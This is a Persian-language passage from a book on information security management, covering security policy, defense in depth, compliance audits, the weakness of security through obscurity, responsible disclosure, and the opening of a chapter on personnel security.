ديــده در ترفنــدها و خــصوصاً گرفتارشــدن كــاربران آمــوزش

همچنين اگر كـاربران    . سي اجتماعي كمتر است   حملات مهند 
بدانند كه هريك از معيارهاي امنيتي چرا مورد اسـتفاده قـرار            

اند، در آنصورت احتمال بيشتري وجود خواهد داشت كه         گرفته
  .از آنها احساس رضايت كنند و هريك را بدرستي اجرا نمايند

يك بخش حياتي هر سيستمِ امنيت، اعطاي زمـان و فـراهم            
. دن پشتياني براي تحصيل و آموزش بيشتر كاركنان اسـت         كر

، روشــهاي نــوين، و  ي نــو، تهديــدات جديــد همــواره ابزارهــا
اگــر كارمنــدان . اطلاعــات تــازه بــراي يــادگيري وجــود دارد

هـاي   ساعت صرف يافتن ويروسهاي خيالي رايانه      ۶۰اي   هفته
، بـازهم بـه انـدازة         هاي پشتيبان كننـد   شخصي و تهية نسخه   

رمنداني كه سالانه تنها به مدت چند هفتـه تحـت آمـوزش          كا
از اين گذشته اگر به آنها فرصت       . گيرند كارآيي ندارند  قرار مي 

ترقي و يادگيري در طول مدت كار داده شود و اجـازه داشـته              
گيري، عصر هر روز و     افزارها و پشتيبان  باشند بجاي نصب نرم   

پري كننـد، از    هايـشان س ـ    تعطيلات آخر هفتـه را بـا خـانواده        
  .تر خواهند بود كارهايشان خرسندتر و راضي

يـك اصـل در     . اختيارات را متناسب با مسئوليتها توزيع كنيـد       
  :گويدراهبري امنيت مي

اگر مسئوليتي در رابطه با امنيت داريـد ولـي اختيـاري بـراي              
قانونگذاري و تنبيه متخلفين به شما داده نشده است، هنگـام           

ايـن شـما هـستيد كـه سـرزنش          وقوع يـك مـشكل بـزرگ        
  .شويد مي

هر چند اصل بالا در بيشتر موارد برقرار است، امـا مـسئوليت             
واقعي متوجه كسي است كه اختيارات را متناسب با مسئوليتها          

  .توزيع نكرده است

اين بخش شامل فهرستهاي كنترل مديران و كاركناني اسـت          
مل مهم  در اين بخش به عوا    . كه مسئوليت امنيت با آنها است     

، آمـوزش و      ، آگـاهي    طرح امنيت هر سازمان شامل ارتباطـات      
  .پردازيمگذاري مناسب براي حمايت از طرح مي سرمايه

  شناسيدمطمئن شويد كه محيط امنيتي خود را مي

نماييـد، بايـد اطمينـان      هنگاميكه سياست خود را تدوين مـي      
ها، كاركنـان و      حاصل كنيد كه انواع مختلف سيستمها، شبكه      

سـازي موجـود در محـيط امنيتـي خـود را            هاي ذخيـره   رسانه
اين شناخت، آنچـه    . ايدشناسيد و همة آنها را درنظر گرفته       مي

وقتـي سياسـتها را     . كنـد   باعث نگراني شماست را تعريف مـي      
كنيد، بايد اطمينان حاصل كنيد كه تمام آنچـه كـه             تدوين مي 

شود و بـا    تواند به محيط شما وارد        در محيط شماست و يا مي     
. ايـد منابع اطلاعاتي شما تعامل داشته باشد را از قلم نيانداخته         

فنـاوري  بسياري از سازمانها در سالهاي گذشته محيط امنيت         
هـا     خود را با همان مرزهاي بوجودآمده بوسيلة ديوار        اطلاعات

 محيطهـاي سـازماني      كردند؛ امـا امـروزه    ها تعريف مي  و نرده 
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  .دبندرت اينقدر ايستا هستن

هنگام تدوين سياستهاي خود بايد نكاتي مثـل مـوارد زيـر را             
  :درنظر بگيريد

ــستيد     • ــود دور ه ــي خ ــت فيزيك ــه از موقعي هنگاميك
هاي قابل    توانيد براي دستيابي به اطلاعات از رايانه       مي

تواننـد   اين وسايل مـي   .  ها استفاده كنيد  PDAحمل و   
هاي تلفن  ، شماره   IPاطلاعات حساسي مثل آدرسهاي     

ايـن سيـستمها   .  و رمزهاي عبور را در خود ذخيره كنند    
بايد داراي امنيت حداقلي باشـند؛ مـثلاً بـا اسـتفاده از             

گذاري و يا حداقل نشانهايي براي برقراري امنيـت           رمز
كاربران بايـد در رابطـه بـا خطـرات دزدي و            . فيزيكي
 .ديده باشندسمع آگاه و آموزش استراق

ختمانها مورد استفاده قـرار  سيم كه در سا     بي  هاي    شبكه •
شـوند،  گيرند يا بـه تجهيـزات سـايت متـصل مـي           مي
توانند با استفاده از آنتنهاي جهتدار يا پارك كـردن           مي

يك ماشين خارج از ساختمان و استفاده از يك رايانـة           
كيفي در داخل ماشين مورد استفادة افراد بيروني قـرار          

ربنـدي و   سـيم بايـد طـوري پيك        هاي بي   شبكه.  بگيرند
حفاظت شوند كه اطلاعات حـساس آنهـا در خـارج از            

هاي برنامهسايت قابل شناسايي نباشند و از ورود قطعه       
 .مخرب مهاجمين به آنها جلوگيري گردد

هايي كه توسط كاركنان سازمان در منازل مـورد           رايانه •
گيرند ممكـن اسـت در معـرض خطـر       استفاده قرار مي  

هاي مخـرب باشـند و      نامهبر، و ورود قطعه     نفوذ، دزدي 
همچنين ممكن اسـت بـرخلاف سياسـتهاي سـازمان          

اندازي يـك تجـارت     مثلاً براي راه  (مورد استفاده قرار گيرند     
  دهنــدة وب بــا محتويــات مــستقل و يــا ميزبــاني يــك ســرويس

سياسـت بايـد مـشخص كنـد كـه ايـن            ). سؤال برانگيـز  
يني ، حفاظـت و بـازب   ها چگونه بايد مورد اسـتفاده       رايانه

 .قرار گيرند

. سازي معمولاً قابل حمل و فـشرده اسـت     رسانة ذخيره  •
اگر كسي يك نسخه از سوابق مالي شـركت را بـراي            
استفاده در يك سايت راه دور روي ديسك فـشرده يـا            

DVD             بريزد، درصـورت دزديـده يـا جابجـا شـدن آن 
رسانه چه اتفاقي خواهد افتاد؟ سياستها بايـد مـشخص          

تواند يك رسانه را بـه بيـرون از           كنند كه چه كسي مي    

محوطه ببرد، با چه روشـهايي بايـد از ايـن اطلاعـات             
و ) شـود كه اين امر شامل رمزگذاري هم مـي       (محافظت كرد   

اگر آن رسانه دزديده يا گـم شـود چـه اقـداماتي بايـد               
همچنين لازم است بطور مشروح بيان شـود  . انجام داد 

 گرفته چگونه بايـد     اي كه قبلاً مورد استفاده قرار     رسانه
از بـين بـرود تـا احتمـال خطرهـاي ناشـي از افــشاي       

 .اطلاعات روي آن كاهش يابد

و سعي كنيد براي پرسشهاي زير پاسـخهاي مناسـبي داشـته            
 :باشيد

هـا و   PDA  پردازنـد كـه   كدام سياستها به كساني مـي      •
هاي كيفي خود را براي ملاقاتهـا و يـا صـرفاً در               رايانه

آورند؟ ضوابط اتصال آنها بـه        ار مي بازديدها به محل ك   
، چاپگرها و ساير ابزارهاي محل        ها، خطوط تلفن    شبكه

 كار چيستند؟

ها يا تجهيزات ذخيـرة       چه ملاحظاتي براي حمل رايانه     •
اتخاذ ) مثلاً براي تعميرات  (اطلاعات به خارج از محل كار       

شده است؟ اگر روي ديسكها اطلاعات حساس وجـود         
اي   د شد؟ در مورد تجهيزات اجاره     داشته باشد چه خواه   

شـوند چـه      كه مجدداً به صاحبانشان عـودت داده مـي        
 راهبردي اتخاذ شده است؟

اگر شركاي تجـاري يـا پيمانكـاران بـه وسـايل شـما               •
 خواه در محـل كـار شـما يـا           -  دسترسي داشته باشند  

 چه كـسي از اطلاعـات حفاظـت    -  محل كار خودشان  
هـاي  اخواسـتة داده  خواهد كـرد؟ چگونـه از اخـتلاط ن        

 كنيد؟هاي آنها جلوگيري مي حساس خود با داده

اسـرار  "چه سياستهايي به اطلاعاتي كه تحت گـواهي          •
پردازند؟  اند مي براي سازمان شما فرستاده شده    " تجاري

چه كسي مسئول حفاظـت از اطلاعـات اسـت و كجـا             
 توان از آن اطلاعات نگهداري كرد؟ مي

اي پـردازش     يررايانـه چه سياسـتهايي بـر تجهيـزات غ        •
 چـه سياسـتهايي      اطلاعات حاكم هستند؟ بعنوان مثال    

ــي و     ــتگاههاي كپ ــا، دس ــتفاده از چاپگره ــراي اس ب
توجه داشته باشيد كـه     (اند؟  ماشينهاي دورنگار تدوين شده   

اي از  اطلاعات حساسِ كاغذي نسبت به اطلاعات حساس رايانـه        
 )اهميت يكساني برخوردار است
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اين مسائل قبل از وقوع هر مشكلي كمك       فكر كردن به همة     
تهيـة  . كند كه بتوان از وقوع آن مـشكل جلـوگيري كـرد           مي

كنـد  عبارتهاي بامعني در سياست امنيتي به همه كمـك مـي          
نگرانيها را بفهمند و مكانيزمهاي صـحيح پيـشگيري را بكـار            

  .بندند

  براي مسائل امنيتي يك رويكرد پايه اتخاذ كنيد

: خواهيد طبق كدام الگوي زير عمـل كنيـد          يابتدا ببينيد كه م   
  يـا  " هرچه صراحتاً ممنـوع اعـلام نـشده باشـد مجـاز اسـت             "
سـپس  ". هرچه صراحتاً مجاز دانسته نشده باشد ممنوع اسـت        "

ممكـن  . خواهيد تعريـف كنيـد    ببينيد موارد ديگر را چگونه مي     
، مثل يك     است مورد اول با يك محيط تقريباً باز سازگار باشد         

اه؛ درحاليكه مورد دوم بيشتر براي يك مؤسسة تجاري         دانشگ
  . مناسب است، مانند يك بانك

  دفاع در عمق

ريـزي  وقتي بـراي سياسـت و روشـهاي مقابلـة خـود برنامـه             
، در يك لايه متوقف نـشويد و بـراي دفـاع در برابـر                 كنيد  مي

تهديدات مختلف، چند سطح حفاظتي همپوشان و مستقل بنـا          
 و بازبيني را نيز به آن مجموعه بيافزاييد         سپس نظارت . نمائيد

تا مطئمن شويد كه اجراي سياستهاي اتخاذشده، در عمل نيز          
احتمال گريز يـك مهـاجم از تنهـا يـك           . دهدواقعاً جواب مي  

مجموعة دفاعي بسيار بيشتر از احتمال گريـزش از مـثلاً سـه       
  ٨٢.باشد مرحلة دفاعي بعلاوة يك سيستم اخطار مي

  هاي امنيتي و بازبينيضمانت اجرايي،
تدوين سياست به تنهايي كافي نيست، بلكه بايد مرتباً بررسي          

شود   شود كه آيا سياست اتخاذ شده بصورت صحيح اعمال مي         
. شود آيا كافي و صحيح اسـت يـا خيـر          يا نه، و اگر اعمال مي     

 بار معنايي جديدي پيدا كرده و درحـال حاضـر           ٨٣مميزيواژة  
با استفاده از   (هاي ردگيري   ، دنباله   ماليحداقل در معاني مميزي     

، بازبيني امنيتي يك سيـستم، و بـازبيني رعايـت         )فايلهاي ثبـت  

                                                                  
  :Tom Kellermannمراجعه كنيد به منبع زير، نوشتة   ۸۲

"The 12 Layer Matrix: Building a Cyber-
Fortress (2003)": 
http://wbln0018.worldbank.org/html/FinancialS
ectorWeb.nsf/SearchGeneral?openform&E-
Security/E-Finance&Tools 
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  .رود  بكار مي سياست

 عبـارت اسـت از اقـداماتي كـه      ٨٤سياست  رعايت يك مميزيِ 
شود تا مشخص گردد آيا استانداردهاي ذكرشـده در           انجام مي 

د دليـل آن    شـون شوند يـا نـه، و اگـر نمـي         سياست رعايت مي  
ــست ــراي   . چي ــهايي ب ــا و روش ــولاً معياره ــتانداردها معم اس
تواند توسط يك   دهند كه مي  شدن خود نيز بدست مي    سنجيده

شـدن يـا نـشدن آن اسـتاندارد         گيري رعايت   مميز براي اندازه  
اگر استانداردها رعايت نـشده باشـند،       . مورد استفاده قرار گيرد   

  : ز موارد زير باشدتواند نتيجة هر تركيبي ا اين امر مي

 كوتاهي كاركنان؛ •
 آموزش ناكافي و فقدان مهارتهاي لازم؛ •
 كار زياد؛ •
 نقص امكانات؛ •
 نداشتن انگيزة لازم؛ •
 كمبود وسايل كافي؛ •
 منابع ناكافي يا نامناسب؛ •
 تعميرات و پشتيباني ناكافي؛ •
 كاربرد يا بارگذاري بيش از حد؛ •
 نارسائيهاي سازماني؛ •
 مسئوليتي؛بي •
 وليتها؛تداخل مسئ •
 كننده؛ تقسيم كار نامشخص، ناهماهنگ و گيج •
 نارسائيهاي سياست؛ •
 بيني نشده؛ مخاطرات پيش •
 سياستهاي ناقص يا از قلم افتاده؛ •
 سياستهاي متداخل؛ و •
 .ناسازگاري سياست و محيط •

نكتة كليدي در فهرست بالا اين است كه مشكلات سياسـت           
حتـي  .  دانست توان ناشي از خطاي كاربران يا راهبران      را نمي 

كـار بـيش از حـد عمومـاً در اختيـار            آموزش ناكافي يا اضـافه    
بنابراين يك مميزيِ رعايت نبايد بعنوان يـك        . راهبران نيست 

فرآيند نامطلوب ديده شود؛ بلكـه بايـد بـه آن بـصورت يـك               
تلاش همگاني براي تشخيص مشكلات، يافتن و تخـصيص         

 و افزايش آگاهي    مجدد منابع، پالايش سياستها و استانداردها،     
مـشابه همـة قـسمتهاي      . در زمينة نيازهاي امنيتي نگريـست     
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ديگر امنيت، اينجا نيز رويكرد گروهي در اكثر قريب به اتفاق           
اگـر مـسئله بطـور صـحيح        . شرايط مؤثرترين رويكـرد اسـت     

تواننـد بـه امنيـت مطلـوب دسـت            مديريت شود، كاركنان مي   
در انجـام كارهايـشان     نكتة كليدي اين است كه به آنها        . يابند

كمــك كنــيم، نــه اينكــه خــود را در طــرف ديگــر ميــز و در 
 .مقابلشان قرار دهيم

  اشكلات امنيت مبتني بر جهل مهاجم
در مكانيزمهاي سنتيِ امنيت كه عمدتاً از سـازمان اطلاعـات           

" نياز به دانـستن   "گرفت يك مفهوم با عنوان      ارتش نشأت مي  
شد و به هر كس آنقدر        يبندي م   اطلاعات تقسيم . وجود داشت 

يافت كه بتواند با آن بـه وظـايفش عمـل           از آن تخصيص مي   
در محيطهــايي كــه قــسمتهاي خاصــي از اطلاعــات از . كنــد

 بايد برقـرار باشـد،      ٨٥امنيت استنباطي حساسيت برخوردارند يا    
اگـر سـه قطعـة      . اين سياست از معناي خاصي برخوردار است      

تيجة مخرب به بار بياورند     اطلاعاتي در كنار هم بتوانند يك ن      
ولي هيچكس به بيش از دو قطعه از آن اطلاعـات دسترسـي             

  .توان گفت كه امنيت تضمين شده است نداشته باشد آنگاه مي

نيـاز بـه    "اي بكار گرفتن مفهـوم        در يك محيط عمليات رايانه    
اين مسئله بويژه در شـرايطي      . معمولاً مناسب نيست  " دانستن

نيت خود را بـر ايـن مبنـا قـرار داده            كند كه شما ام   صدق مي 
اتكـا  . باشيد كه يك مسئله فني براي مهاجمان نادانسته باشد        

  .تواند به ايمني شما خدشه وارد كند به جهل مهاجمين مي

گيـرد    محيطي را درنظر بگيريد كه در آن مديريت تصميم مي         
هاي راهنما را از دسـترس كـاربران دور نگـه دارد تـا                كتابچه

هايي كه ممكن اسـت بـا          در مورد فرامين و گزينه     اجازه ندهد 
در . آنها بتوان به سيستم خدشـه وارد كـرد مطلبـي بياموزنـد             

 مديران ممكن است بـر ايـن بـاور باشـند كـه               چنين شرايطي 
اند، امـا در واقـع اينطـور        بدينوسيله امنيت خود را افزايش داده     

ي تواند اين اسناد را جاي ديگر     يك مهاجم مصمم مي   . نيست
مقادير فراواني از   .  از طريق كاربران يا ادارات ديگر      -پيدا كند   

اي كمتر از نزديكترين كتابفروشي به هـر        اين اسناد در فاصله   
تواند همة راههاي يادگيري      مديريت نمي ! اداره موجود هستند  

ضمن اينكه كاربران محلي بـه ايـن        . در مورد سيستم را ببندد    
هاي كارآتر  ببينند و در مورد گزينه    توانند اسناد را    دليل كه نمي  
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مطلب بياموزند، ممكن است از دستگاهها بهـرة بـسيار كمـي            
همچنين ممكن اسـت انگيـزة ايـشان تـضعيف شـود،             . ببرند

ما به  "چراكه پيام ضمني مديريت با انجام اينكار اين است كه           
شـناس  شما اعتماد كامل نـداريم كـه يـك كـاربر مـسئوليت            

ته در چنين شرايطي اگـر كـسي بـه سـوء            از اين گذش  .  "باشيد
استفاده از فرامين و ويژگيهاي سيستم بپردازد، ممكـن اسـت           
مديريت توانايي كافي براي شـناخت و مبـارزه بـا مـشكل را              

اي براي يك يا دو نفـر از كـاربران          نداشته باشد؛ و اگر مسئله    
اند رخ دهد، ديگر كسي بـا  كه مجاز به دسترسي به اسناد بوده    

يــا اطلاعــات لازم وجــود نــدارد كــه در مواقــع بــروز تجربــه 
  . مشكلات همياري كند

محرمانه نگهداشتن اشكالات يا قابليتها براي ايجـاد حفاظـت         
ــي اســت   ــز يــك رويكــرد ضــعيف امنيت ــا ني ــل آنه . در مقاب

هايشان درب مخفي قرار    افزار معمولاً در برنامه   نويسندگان نرم 
ون ارائـه رمـز عبـور،       دهـد بـد   دهند كه به آنها اجازه مـي      مي

گاهي نيز اشكالات سيـستم   . امتيازات دسترسي بدست بياورند   
مانند، چراكه مـدير    با عوارض عميق امنيتي همچنان باقي مي      

مشكل اين رويكردها   .  كند كسي از آنها اطلاع ندارد       تصور مي 
اين اسـت كـه احتمـال زيـادي وجـود دارد كـه مـشكلات و                 

رت تصادفي و يا بوسيلة يـك  ويژگيهاي موجود در برنامه بصو   
مخفـي نگهداشـتن اشـكالات و       . نفوذگر مصمم كشف شـوند    

گيرند و  ويژگيها به اين معني است كه مورد مشاهده قرار نمي         
لـذا پـس از آنكـه كـشف         . ماننـد نشده باقي مي  طبيعتاً اصلاح 

شود تمـام سيـستمهاي مـشابه         شدند، وجود مشكل باعث مي    
انــد  را كــشف كــردهنــسبت بــه حملــة افــرادي كــه مــشكل 

  .پذير باشند آسيب

 مـثلاً يـك الگـوريتم       -ارزش مخفي نگهداشتن الگوريتمهـا      
تا زمانيكـه يـك     .  نيز قابل بحث است    -انحصاري رمزگذاري   

توانيـد قـدرت الگـوريتم را        نمي   نباشيد ٨٦رمزنگاريمتخصص  
باشد كـه داراي      نتيجه ممكن است مكانيزمي     .  تشخيص دهيد 

شـود    گوريتمي كه مخفي نگهداشته مي    ال.  نقايص جدي است  
گيـرد و لـذا هـر         طبيعتاً توسط ديگران مورد بررسي قرار نمـي       

كسي كه اشكالي در آن بيابد خواهـد توانـست بـدون اطـلاع              
  .هايتان دسترسي پيدا كندشما به داده

عامـل يـا      بطور مشابه محرمانه نگهداشتن متن برنامة سيستم      
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ني بـراي تـأمين امنيـت       هاي كاربردي نيز هيچ تـضمي     برنامه
كسانيكه تصميم گرفته باشند به سيستم شما       . آورد بوجود نمي 
كننـد؛  هاي امنيتـي را پيـدا مـي        هر از چندگاه حفره     وارد شوند 

مستقل از اينكه متن برنامه را در اختيار داشته باشند يا نداشته            
توانند    اما بدون دسترسي به متن برنامه، كاربران نمي        ٨٧.باشند
بطور مدون بررسي كنند تا مـشكلات آنـرا بيابنـد؛ و لـذا              آنرا  

هرچند ممكن است با مخفي نگهداشتن مـتن برنامـه مزيـت            
بـودن  كوچكي بوجود بيايد، اما امنيـت نبايـد بـه ايـن مخفـي             

  .وابستگي داشته باشد

درصـورت  .  نگرش به مقولة امنيت يـك نكتـة كليـدي اسـت        
 دفـاعي كـه بـر       دار شدن محرمانگي آندسته از اقدامات     خدشه

 همگـي ارزش خـود را از دسـت     كاري اسـتوارند  مبناي مخفي 
حتي بدتر از آن اينكـه تـداوم محرمـانگي باعـث            . خواهند داد 

شـود  جلوگيري يا محدود شدن بازبيني و نظارت بر برنامه مي         
و ممكن است هرگز نتوان فهميـد كـه آيـا ايـن محرمـانگي               

تمها و مكانيزمهايي   بوسيلة الگوري . دار شده است يا خير    خدشه
توان امنيت بيشتري برقرار كـرد،      كه ذاتاً مستحكم هستند مي    

ايـن حقيقـت كـه      . حتي اگر مهاجم از آنها آگاهي داشته باشد       
كنيد كـه همـه از      شما از مكانيزمهاي مستحكمي استفاده مي     

آن آگاهي دارند ممكن است مهـاجم را نااميـد كنـد و باعـث               
هاي شـما بـدنبال هيجـان    شود جاي ديگري غيـر از سيـستم    

دار اگر پولهايتان را در يـك كـشوي قفـل         . ناشي از نفوذ باشد   
پنهان كنيد امنيت آن بيشتر از زماني است كه كسي ندانـد از             
پولهايتان در يك قوطي سس مـايونز در يخچـال نگهـداري            

  !كنيدمي

  افشاي مسئولانه
 وارد" امنيت مبتني بر جهـل مهـاجم      "مقصود از ايرادي كه به      

هـاي  شد اين نيست كه بگوييم بلافاصله بعد از اينكـه حفـره           
امنيتي را پيدا كرديـد آنـرا بطـور گـسترده بـه اطـلاع عمـوم                 

كاري و احتياط تفاوتهـاي عمـده وجـود         ميان مخفي .  برسانيد
شده يا پرمصرف حفرة امنيتـي      افزار توزيع   اگر در يك نرم   .  دارد

ريعتر آنـرا بـه      بايد بدون سر و صدا و هرچـه س ـ          كشف كرديد 

                                                                  
افـزار را بوسـيلة خـود و در    كه شما همة قسمتهاي يك نرم تا زماني    ۸۷

تان توسعه ندهيد، افراد مختلفي ممكن است بـه         ايستگاه كاري خود  
متن برنامه دسترسي پيدا كرده باشند و اين احتمال وجـود دارد كـه              

  .متن برنامه تصادفاً يا تعمداً افشا شود

همچنـين توصـيه    .  افـزار اطـلاع دهيـد     دهنـدة آن نـرم    توسعه
كـه در    (FIRSTكنيم كه آنرا به اطلاع يكي از مؤسـسات            مي

اين مؤسسات  . نيز برسانيد )  در مورد آنها توضيح داده شده      ۴ضميمة  
هـاي  دهندگان كمك كنند تا بـراي حفـره       توانند به توسعه    مي

تهيه نمايند و مطمئن شوند كـه       هايي    شده وصله امنيتي كشف 
هـا توزيـع شـده و بطـور صـحيح مـورد اسـتفاده قـرار                 وصله
  .اند گرفته

افزار را در بـوق و كرنـا كنيـد، تمـام     اگر حفرة امنيتي يك نرم  
تواننـد    كننـد و نمـي    افزار اسـتفاده مـي      افرادي را كه از آن نرم     

در محـيط   . ايـد اشكالات آنرا رفع كننـد دچـار مـشكل كـرده          
Unix     انـد كـه بـراي اصـلاح         بسياري از كاربران عادت كرده

  .اشكالات يك برنامه، در متن آن ايجاد تغييرات كنند

متأسفانه همه از چنين قابليتي برخوردار نيـستند و بـسياري از            
افـزار    ها يا ماهها صبر كنند تـا نـرم          كنندگان بايد هفته   مصرف

 بعـضي   .شده توسط فروشندة مربوطه منتشر شـود      روزرسانيبه
 بدليل اينكه جز روشن كـردن رايانـه و          -ادارات ممكن است    

كننـد و يـا     افزار مورد نياز كار ديگري با رايانه نمـي        كار با نرم  
افزارشان بر اساس تنظيمات موجود گواهي دريافت كـرده          نرم

 حتـي قـادر بـه    -توانند پيكربندي آنرا تغييـر دهنـد       و لذا نمي  
ممكن است بعضي سيستمها    . ندافزار خود هم نباش   ارتقاي نرم 

توسط افرادي راهبري شوند كـه مهـارت لازم بـراي اعمـال             
ها را نداشته باشند، و از ساير سيستمها هم استفادة فعال             وصله

هميـشه  . نشود و يا خارج از حيطة پـشتيباني سـازمان باشـند           
بهتر است يك وصله را بدون توضيح در   .  مسئولانه عمل كنيد  

پذيري مربوطه ميان كاركنان توزيع كنيم،        بمورد زيربناي آسي  
تا اينكه بخواهيم به مهاجمان جزئياتي در مورد روشهاي نفوذ          

  .نشده ارائه نماييمبه سيستمهاي وصله

ايـم كـه در آن فـردي متخـصص يـك              ما موارد زيادي ديده   
اشكال مهم امنيتي را در يك گروه پست الكترونيكـي بـسيار            

رچه هدف اين شخص دريافت     اگ.  عمومي گزارش كرده است   
يك اصلاح سريع از جانب فروشندگان بوده، ولي نتيجـة كـار            
موجي از تهاجمات به سيستمهايي شده كه راهبـران آنهـا بـه             
مطالب آن گروه پستي دسترسي نداشته و يا قـادر بـه اعمـال              

  .اندشده نبودهاصلاح ارائه

 پـذيريهاي اخيـر سيـستم شـما         اي براي آسيب    اگر هنوز وصله  
وجود نداشته باشد، ارسال جزئيات آنها به يـك گـروه پـستي             

تنها بسياري پايگاههاي ديگر را به مخاطره خواهد انداخت،         نه
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بلكه اگر يك نفوذگر از آن اشكال بـراي نفـوذ بـه سـايتهاي               
ديگر استفاده كند، ممكن است در رابطه بـا خـسارتهاي وارده          

 اگر شما نگـران  ٨٨.عليه شما نيز اقدامات قانوني صورت بگيرد      
 متوجـه باشـيد كـه جزئـي از يـك جامعـه              امنيت خود هستيد  

در جامعه بايد بدنبال تقويت امنيت ديگران هم بـود        . باشيد مي
و به ياد داشت كه ممكن است روزي هم ما به كمك ديگران        

  .نياز پيدا كنيم

  بندي بحث پيشگيري و سياستجمع
يدات ممكـن   كليد ارزيابي مخاطرة موفق، تشخيص همة تهد      

عليه سيستم و دفاع در برابر حملاتي است كـه از نظـر شـما               
  .احتمال وقوع بيشتري دارند

اينكه انسان ضعيفترين حلقة امنيتي است به اين معنا نيـست           
. كه بايد حفاظت از نقاط ضعف ديگـر را بـه فراموشـي سـپرد              

بيني است اما سوء استفاده از يـك مـودم           انسان غيرقابل پيش  
تر از متقاعد كردن يك كارمنـد       ور ندارد بسيار ساده   كه رمز عب  

بنابراين هرجـا كـه امكـان آن        .  كليدي به دريافت رشوه است    
وجود داشته باشد بايد از مكانيزمهاي تدافعيِ مبتني بر فناوري          
استفاده كنيم و امنيت كاركنان خود را بـا آمـوزش كـاربران و             

ع در عمـق تكيـه      علاوه بر اين به دفا    .  كاركنان بهبود بخشيم  
مراحـل چندگانـة دفـاعي مثـل پـشتيبانها را بكـار             : كنـيم   مي
بريم تا درصورت ناموفق بودن يك لايـه در تـأمين دفـاع              مي

 يك سيـستم     بعنوان مثال . لازم، دچار زيانهاي اساسي نشويم    
خريم؛ يا هرچند روي در سـاختمان يـك            مي UPSجايگزين  

روي در ورودي   اي  قفل مستحكم وجـود دارد، قفـل جداگانـه        
حقيقـت ايـن اسـت كـه مهـاجم          . دهـيم اتاق رايانه قرار مـي    

تواند بر اين تركيبها نيز غلبه كند، ولـي مـا هزينـة انجـام                مي
بريم؛ آنقدر بالا كه شايد بتوانيم او را        اينكار را براي او بالا مي     

قانع كنيم كه عبور از موانع سيستم ما به دردسرهايي كه دارد            
توانيد اميدوار باشـيد كـه آنقـدر     لت حداقلي مي  در حا . ارزدنمي

ســرعت مهــاجم را كــاهش داده باشــيد كــه پــيش از اينكــه 
دارائيهاي مهم از دچار مشكل شـوند، سيـستمهاي نظـارت و            

  .هشدار، شما را از جريان نفوذ آگاه كنند

با توجه به اين محدوديتها شما بايد با اولويتهايي كـه از قبـل              

                                                                  
ايم، اما وكيلان متعددي    هرچند ما هنوز وقوع چنين موردي را نديده          ۸۸

ين كـاري را از     اند كه انتظار دارند موكلانشان انجـام چن ـ       به ما گفته  
 .آنها بخواهند

اي برويـد؛  ايد به سراغ امنيت رايانـه  كردهروي آنها كاملاً فكر     
توانيد در مقابل تمـام تهديـدات ممكـن، حفاظـت             چراكه نمي 
گـاهي اوقـات بجـاي جلـوگيري از وقـوع يـك          . بوجود آوريد 

مشكل بايد اجازه دهيد آن مشكل رخ دهد و سـپس بـه رفـع               
براي مثال در مواجهه با يك قطعـي بـرق          .  آثار آن اقدام كنيد   
يط طوري باشد كـه اگـر بگذاريـد سيـستمها           ممكن است شرا  

انـدازي مجـدد شـوند برايتـان بـسيار ارزانتـر از               خاموش و راه  
  . تمام شودUPSخريداري يك سيستم 

موارد ديگري هستند كه ممكن است شـما در مـورد دفـاع در      
مثل تهـاجم يـك بيگانـه از        (مقابل آنها ايدة خاصي نداشته باشيد       

 غير محتمـل هـستند، دفـاع در         ؛ يا به آن سبب كه بسيار      )فضا
اي در    مثل وقـوع يـك انفجـار هـسته        (مقابلشان بسيار سخت باشد     

آميزتر از آن باشـند     يا بسيار فاجعه  )  متري مركز اطلاعات شما    ۲۰۰
مثل اينكه مدير شما تصميم بگيرد كـه        (كه بتوان با آنها مقابله كرد       

). !فتـر نمايـد   عامل معرو   تمام ماشينهاي يونيكس را تبديل به يك سيستم       
كليد رمز مديريت خوب، دانستن چيزهايي است كـه در مـورد           
آنها نگراني داريد و نيز اينكه هريـك از ايـن مـسائل تـا چـه                 

  .كننده هستنداندازه نگران

خواهيد از آن حفاظت كنيد       گيري در مورد آنچه كه مي     تصميم
هايي كه ممكن اسـت بـراي جلـوگيري از تلفـات آن      و هزينه 
هاي ترميم ضررهاي ناشـي از يـك         در مقابل هزينه   بدهيد را 

آنگاه با توجه به اين جدول و بر اساس يك          . رخداد قرار دهيد  
شده از اكثـر قريـب بـه اتفـاق نيازهـاي            بنديفهرست اولويت 

حياتي، تصميم خود را در مورد فعاليتهـا و معيارهـاي امنيتـي             
 ـ       . بگيريد ر اطمينان حاصل كنيد كـه در ايـن تحليـل عـلاوه ب
ايد؛ هاي ديگر را نيز درنظر گرفته     ها، تجهيزات و سرمايه     رايانه

،   ، اتـصالات شـبكه      و فراموش نكنيـد كـه نوارهـاي پـشتيبان         
ها، و مـدارك شـما همـه اجزايـي از سيـستم هـستند و                  پايانه

. توانند خسارتهايي را بـه كـل سيـستم وارد آورنـد           هريك مي 
 وجهة عمـومي    سلامت كاركنان، ساختمان شركت، و اعتبار و      

ــد در محاســبات   ــسيار حــائز اهميــت هــستند و باي آن نيــز ب
  .طرحهاي امنيتي درنظر گرفته شوند
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  فصل ششم
  امنيت كاركنان

  كليات
اين فصل بطور خلاصه آندسته از مـسائل امنيتـي را بررسـي             

مـسائل امنيتـي    .  گيرند  كند كه از داخل سازمان نشأت مي      مي
فته تا آموزش و آگـاهي آنـان        كاركنان از استخدام و اخراج گر     

  .نقشي حياتي در عملكرد پيشگيرانه و دفاعي سازمان دارند

  گرفته از كاركنان؛مخاطرات نشأت
  تهديدي پنهان براي سازمان

چند فقره از رخدادهاي خبرسازي كـه طـي چنـد سـال اخيـر               
  : افتاده را درنظر بگيريد توسط كاركنان سازمانها اتفاق

ــاجر ســ٨٩نيــك ليــسون • گــذار در بانــك  رمايه يــك ت
 از دفتر   ٩١توشيهايد ايگوچي  شعبة سنگاپور، و     ٩٠بارينگز

گذاريهاي    هر دو اقدام به سرمايه     ٩٢دايوانيويورك بانك   
اي كردند كه منجر به از دست دادن مقادير         پر مخاطره 

قابل توجهي از سرماية بانكهايشان شد؛ اما آنها بجـاي   
ــست  ــذيرش شك ــه   پ ــسابهاي رايان ــوابق ح را اي  ، س

دستكاري كردند و عملاً با انجام اينكار پـولِ بـاز هـم             
بيشتري را براي جبران ضررهاي قبلي وارد ايـن قمـار           
نمودند؛ و سرانجام نيز بعد از وارد آوردن بيش از يـك            
ميليارد دلار زيان بـه هريـك از ايـن دو بانـك مـورد               

در نتيجـة ايـن اقـدامات بانـك         . شناسايي قرار گرفتند  
 به اعلام ورشكستگي شد و بانك دايـوا         بارينگز مجبور 

نيز مجوز انجام فعاليت اقتصادي در ايـالات متحـده را          
 .براي هميشه از دست داد

